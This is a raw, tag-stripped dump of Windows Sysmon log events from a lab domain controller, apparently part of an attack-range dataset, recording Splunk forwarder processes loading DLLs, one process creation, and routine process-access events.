15:07:17.981{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.980{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000055809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.980{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.980{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.980{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.980{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.980{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.979{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.978{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000055802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.515{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000055801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.515{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.499{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000055799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.346{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.346{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.346{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000055790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.330{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft 